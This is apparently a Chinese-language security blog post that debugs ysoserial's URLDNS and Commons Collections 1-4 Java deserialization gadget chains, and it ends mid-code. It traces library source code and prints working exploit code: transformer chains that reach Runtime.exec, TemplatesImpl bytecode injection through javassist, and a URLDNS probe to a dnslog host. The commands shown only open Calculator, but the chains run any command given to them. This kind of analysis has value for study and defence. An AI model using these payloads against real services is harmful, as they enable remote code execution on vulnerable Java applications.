ysoserial-调试分析

前言

本篇文章分析调试的是URLDNS以及CommonCollections系列

URLDNS

URLDNS作为ysoserial系列最基础的链,作用还是蛮大的.具体作用如下:

  1. 判断当前环境是否存在反序列化安全问题
  2. 如果payload打失败了,是否有目标机环境中没有Payload中所需要的库或者java版本不对应

Gadget Chain

1
2
3
4
5
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()

示例POC以及分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package demo;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap<URL, String> hashMap = new HashMap<URL, String>();
URL url = new URL("http://oehpvo.dnslog.cn");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, 2);
hashMap.put(url, "lih3iu");
f.set(url, -1);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("output"));
oos.writeObject(hashMap);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("output"));
ois.readObject();
}
}

跟进HashMap.readObject()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
    private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
......

// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}

跟进hash函数

1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

将key设置为一个URL对象,调用其对应的hashCode函数,即java.net.URL#hashCode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public final class URL implements java.io.Serializable {


transient URLStreamHandler handler;

/* Our hash code.
* @serial
*/
private int hashCode = -1;




public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}

}

可以看到hashCode的值默认是-1,在hashCode函数中如果hashCode为1,则通过handler.hashCode重新计算hashcode,跟进hashCode函数

java.net.URLStreamHandler#hashCode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
    protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}

...
}

通过getHostAddress函数获取IP,最终进行DNS请求,并且这里只能传域名,不能传IP,原因如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
    private static InetAddress[] getAllByName(String host, InetAddress reqAddr)
throws UnknownHostException {

......

// if host is an IP address, we won't do further lookup
if (Character.digit(host.charAt(0), 16) != -1
|| (host.charAt(0) == ':')) {
byte[] addr = null;
int numericZone = -1;
String ifname = null;
// see if it is IPv4 address
addr = IPAddressUtil.textToNumericFormatV4(host);
if (addr == null) {
// This is supposed to be an IPv6 literal
// Check if a numeric or string zone id is present
int pos;
if ((pos=host.indexOf ("%")) != -1) {
numericZone = checkNumericZone (host);
if (numericZone == -1) { /* remainder of string must be an ifname */
ifname = host.substring (pos+1);
}
}
if ((addr = IPAddressUtil.textToNumericFormatV6(host)) == null && host.contains(":")) {
throw new UnknownHostException(host + ": invalid IPv6 address");
}
} else if (ipv6Expected) {
// Means an IPv4 litteral between brackets!
throw new UnknownHostException("["+host+"]");
}
}

很明显这在里面进行了IP的限制,所以我们只能传域名进行dns请求

二次hashcode更改的原因

在poc中有一段这样的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap<URL, String> hashMap = new HashMap<URL, String>();
URL url = new URL("http://oehpvo.dnslog.cn");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, 2);
hashMap.put(url, "lih3iu");
f.set(url, -1);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("output"));
oos.writeObject(hashMap);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("output"));
ois.readObject();
}
}

这里有一段两次更改hashCode值的代码,这里解释下原因:

跟进hashMap.put

1
2
3
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

再跟进hash函数

1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

跟到这里其实已经可以发现这正是我们Gadget chain需要用到的步骤,并且在hashcode为-1的时候,会进行一次dns请求,这里为了防止本机与目标机器发送的dns请求混淆,所以先将hashcode设置为一个非-1的数字,put完毕,再设置回来hashcode为-1,然后在反序列化的过程因为hashcode的值为-1,触发dns请求。

ysoserial作者写的代码都很巧妙,我们可以通过这个project的代码来学到很多姿势

POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public class URLDNS implements ObjectPayload<Object> {

public Object getObject(final String url) throws Exception {

//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();

HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

return ht;
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}

/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}

这里同样做了防本地与目标机dns请求混淆,不过这个方法更有趣些

这里通过子类重写了URLStreamHandler的getHostAddress方法,使其调用时放回null

1
2
3
4
5
6
7
8
9
10
11
        static class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}

所以当handler.hashCode调用getHostAddress时实际调用的重写后的getHostAddress,返回了null,所以本机上并不会发送dns请求,又因为handler是transient类型,所以我们自己重写的handler并不会生效,在反序列化时实际调用的还是本来的URLStreamHandler,同样可规避本机dns请求与目标机dns请求的混淆。

CommonsCollections1

Gadget Chain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

主要分析部分为

1
2
3
4
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()

后面触发RCE过程前面文章有分析过,就不赘述了。

首先跟进LazyMap类的get方法

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}

代码逻辑为如果在map中不存在get函数中的参数key,直接调用this.factory.transform,这里的transform就符合了我们需要的rce的点了

我们可以直接把factory赋值为ChaindedTransformer去触发就可以了

UmBY6O.png

跟进下如何给factory进行赋值

1
2
3
4
5
6
7
8
9
10
11
12
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}

protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = factory;
}
}

通过decorate函数传入Map和一个Transformerl类型的factory,然后调用LazyMap的构造函数把ChaindedTransformer赋值给this.factory,最终在LazyMap的get方法中进行transformer函数调用完成RCE。

所以接下来该寻找的就是如何去触发LazyMap.get这个函数了

ysoserial的作者在jdk的内置类中找到了AnnotationInvocationHandler这个类,跟进invoke方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
   public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
........

switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}

return var6;
}
}
}
}

把重点代码单拿出来

1
Object var6 = this.memberValues.get(var4);

如果在this.memberValues变量可被赋值为LazyMap,那么就可以触发后面的一切RCE链,跟进一下memberValues的赋值

1
2
3
4
5
6
7
8
9
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}

在var1为注释类的情况下,可将memberValues变量赋值为var2,我们可通过如下代码进行LazyMap的传入

1
2
3
final Constructor<?> constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler secondInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);

并且AnnotationInvocationHandler是InvocationHandler的子类,实现了InvocationHandler中的invoke方法

1
2
3
4
5
public interface InvocationHandler {

public Object invoke(Object proxy, Method method, Object[] args)
throws Throwable;
}

所以这其实是一个动态代理,我们可以先声明一个动态代理对象传给AnnotationInvocationHandler,当此对象调用任意的方法,都会先调用动态代理类的invoke方法,而我们将动态代理类中的memberValues变量设置为LazyMap的话,最终就实现了LazyMap.get的调用。

动态代理部分代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
final Map lazyMap = LazyMap.decorate(innerMap, chain);
//AnnotationInvocationHandler的构造方法非public 所以需要通过反射进行调用

final Constructor<?> constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler testInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);



Object testMap = Proxy.newProxyInstance(
testInvocationHandler.getClass().getClassLoader(),
new Class[]{Map.class},
testInvocationHandler
);

InvocationHandler Invoation1 = (InvocationHandler) constructor.newInstance(Override.class, testMap);
return Invoation1;

最后在readObject方法中触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;

try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();

while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}

}

在readObject中memberValues调用entrySet方法,触发invoke,进而触发LazyMap.get实现RCE

最后简述下最后的调用链

  • 反序列化readObject方法触发memberValues.entrySet
  • 进一步触发invoke方法及invoke中的get函数
  • 触发lazyMap.get和get函数中的transform完成RCE

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
package ysoserial.payloads;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

import org.aopalliance.intercept.Invocation;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

Requires:
commons-collections
*/

public class testCommonsCollections1{

public static Object getObject() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"open -a Calculator"})
};
Transformer chain = new ChainedTransformer(transformers);



final Map innerMap = new HashMap();


final Map lazyMap = LazyMap.decorate(innerMap, chain);
//AnnotationInvocationHandler的构造方法非public 所以需要通过反射进行调用

final Constructor<?> constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler testInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);



Object testMap = Proxy.newProxyInstance(
testInvocationHandler.getClass().getClassLoader(),
new Class[]{Map.class},
testInvocationHandler
);

InvocationHandler Invoation1 = (InvocationHandler) constructor.newInstance(Override.class, testMap);
return Invoation1;
}


}

大概简述下最后的调用链

Effect

Um5KFf.png

CommonsCollections2

Gadget Chain

1
2
3
4
5
6
7
8
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

跟进分析

跟进PriorityQueue类中readObject方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();

// Read in (and discard) array length
s.readInt();

queue = new Object[size];

// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();

// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}

可以看到queue[i]=s.readObject也就是queue的值是由我们控制的,我们可以在前面通过writeObject进行写入

接着跟进heapify函数

1
2
3
4
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

跟进siftDown

1
2
3
4
5
6
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}

这里会进行一个判断如何comparator不为null则进入siftDownUsingComparator函数,如果没有就进入siftDownComparable函数,同样,我们可控的值为x

看一下comparator的赋值逻辑

1
2
3
4
5
6
7
8
9
public PriorityQueue(int initialCapacity,
Comparator<? super E> comparator) {
// Note: This restriction of at least one is not actually needed,
// but continues for 1.5 compatibility
if (initialCapacity < 1)
throw new IllegalArgumentException();
this.queue = new Object[initialCapacity];
this.comparator = comparator;
}

可以看出这里是在实例化的时候直接进行赋值

接着跟进siftDownUsingComparator函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}

在这行代码中出现了我们可控的值

1
if (comparator.compare(x, (E) c) <= 0)

跟进compare函数

1
2
3
4
5
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

transformer赋值

1
2
3
4
public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) {
this.decorated = decorated;
this.transformer = transformer;
}

出现了熟悉的transform函数,并且this.transformer可控,意味着我们可以执行任意类的任意方法了。

不过在ysoserial中的commonscollection2中对于transformer的调用并非采用的是ChainedTransformer的transform进行循环调用产生RCE,而是用了一个新的有趣的攻击手法:TemplatesImpl

跟进Templateslmpl类中newTransformer函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);

if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}

if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}

跟进getTransletInstance函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}

return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

跟进defineTransletClasses

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];

if (classCount > 1) {
_auxClasses = new Hashtable();
}

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}

再回到前面的逻辑

1
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

可以看出这里的逻辑为先将设定好的bytecode还原为class,再通过newInstance进行实例化,那么由于bytecode是由我们自己定义的,所以这里就存在了恶意代码的触发,例子如下:

这里选取的是createTemplateImpl类中的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
final T templates = tplClass.newInstance();

// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);

上述代码首先是拿到了自己写的一个StubTransletPayload类,并且设置了static initializer,最后将其父类设置为abstTranslet类

这样在每次每次初始化该类的时候都会自动去调用static部分的代码,也就是我们通过clazz.makeClassInitializer().insertAfter设置的代码

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public Queue<Object> getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);

// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;

return queue;
}

Questions

在CommonsCollection这条链中其实有很多细节可以学习一下

比如为什么要通过反射来将构造好的template传入

下面针对以上这个问题进行一些跟进分析

其实对于这个问题来说,不通过反射传入template,直接传入也是可以的,修改后的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public Queue<Object> getObject(String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl("open /System/Applications/Calculator.app");
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(templates);
queue.add(templates);

// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

// switch contents of queue
//final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
//queueArray[0] = templates;
//queueArray[1] = 1;

return queue;
}

也就是说其实不通过反射来更改数组中的值也是可以的,不过如果说换种写法,第二个add里面传入的是数字或者字符串,则会爆出

1
2
3
4
5
6
		queue.add(templates);
queue.add(1);



The method 'newTransformer' on 'class java.lang.Integer' does not exist

这是因为在第二次add后会有一次位置对象交换

Uv9Z5t.png

这里直接是把queue数组中的第一个元素更改为了1,所以在下次newTransformer方法调用的时候,会先掉用Integer类的newTransformer,导致报错,终止后面TemplateImpl类的正常调用,所以这里放过来也能理解了为什么在ysoserial中templatesImpl的设置会是通过反射调用的,为了防止add函数产生的位置交换,可以先拿到queue这个数组,直接更改数组里面的值就好了,这样就可以更确保我们的第一个值一定是TemplateImpl这个类。

Effect

UMBMhd.png

CommonsCollections3

Gadget Chain

1
2
3
4
5
6
7
8
9
10
11
12
13
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
TrAXFilter#TrAXFilter()
InstantiateTransformer.newInstance()
TemplatesImpl.newTransformer()
...
Runtime.exec()

Exploit Code

对于commonscollection3来说,其实是和1,2差不多的,只不过是在中间换了一个任意方法执行的类,并且拿了1的开头和2的结尾进行拼凑,最终触发了命令执行

下面主要来跟进分析下中间的链接部分

在上面2的命令执行我们是通过调用newTransformer函数触发static部分内的字节码完成命令执行,也就是通过InvokerTransformer来调用newTransformer方法实现对后面的一系列过程

在commonscollection3中采用的是TrAXFilter+InstantiateTransformer来取代InvokerTransformer

跟进TrAXFilter

1
2
3
4
5
6
7
8
public TrAXFilter(Templates templates)  throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}

可以看到在这个类的初始化中可以进行newTransformer方法的调用,我们要做的就是将这个类进行实例化就可以了

跟进InstantiateTransformer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
this.iParamTypes = paramTypes;
this.iArgs = args;
}




public Object transform(Object input) {
try {
if (!(input instanceof Class)) {
throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
} else {
Constructor con = ((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
}

.......

可以看到InstantiateTransformer#transform方法中有着对传入类实例化的操作,我们只要将TrAXFilter穿进去就可以了

最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public Object getObject(final String command) throws Exception {
Object templatesImpl = Gadgets.createTemplatesImpl("open /System/Applications/Calculator.app");

// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templatesImpl } )};

final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

return handler;
}

CommonsCollections4

Gadget Chain

PriorityQueue.readObject()
    PriorityQueue.heapify()
        PriorityQueue.siftDown()
            PriorityQueue.siftDownUsingComparator()
                TransformingComparator.compare()
                    ChainedTransformer.transform()
                        ConstantTransformer.transform()
                        InstantiateTransformer.transform()
                        InstantiateTransformer.newInstance()
                            TrAXFilter#TrAXFilter()
                            TemplatesImpl.newTransformer()
                            ...

Exploit Code

commonscolletion4的话其实和前面也差不多,也是分别从2和3中拿出一部分进行拼接,用了2前面的+3后面的

主要跟进分析一些新的利用点,跟进TrAXFilter类,构造方法如下

1
2
3
4
5
6
7
8
public TrAXFilter(Templates templates)  throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}

在这里可以看到关键的调用代码

1
_transformer = (TransformerImpl) templates.newTransformer();

所以只要将构造好的恶意templates传入就可以了

接着跟进InstantiateTransformer#transform

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public T transform(Class<? extends T> input) {
try {
if (input == null) {
throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a null object");
} else {
Constructor<? extends T> con = input.getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
}
} catch (NoSuchMethodException var3) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (InstantiationException var4) {
throw new FunctorException("InstantiateTransformer: InstantiationException", var4);
} catch (IllegalAccessException var5) {
throw new FunctorException("InstantiateTransformer: Constructor must be public", var5);
} catch (InvocationTargetException var6) {
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", var6);
}
}

此方法作用为对传入的类进行实例化,通过此transformer方法我们可以将TrAXFilter实例化,调用构造方法,来完成后续恶意代码的执行,那么再配合ChainedTransformer类的transform方法就完整了整条链的构造。

Questions

在尝试简化代码的时候遇到了这样的问题

简化的代码如下:

aFvZlR.png

对应报错

aFv1te.png

跟进后发现是由于java的SecurityManager检测产生的报错,

以下为oracle官方对SecurityManager的解释

A security manager is an object that defines a security policy for an application. This policy specifies actions that are unsafe or sensitive. Any actions not allowed by the security policy cause a SecurityException to be thrown. An application can also query its security manager to discover which actions are allowed. Typically, a web applet runs with a security manager provided by the browser or Java Web Start plugin. Other kinds of applications normally run without a security manager, unless the application itself defines one. If no security manager is present, the application has no security policy and acts without restrictions.

来看下ysoserial中是如何规避这个问题的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public Queue<Object> getObject(final String command) throws Exception {
Object templates = Gadgets.createTemplatesImpl("open /System/Applications/Calculator.app");

ConstantTransformer constant = new ConstantTransformer(String.class);

// mock method name until armed
Class[] paramTypes = new Class[] {String.class };
Object[] args = new Object[] { "foo" };
InstantiateTransformer instantiate = new InstantiateTransformer(
paramTypes, args);

// grab defensively copied arrays
paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

// create queue with numbers
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
queue.add(1);
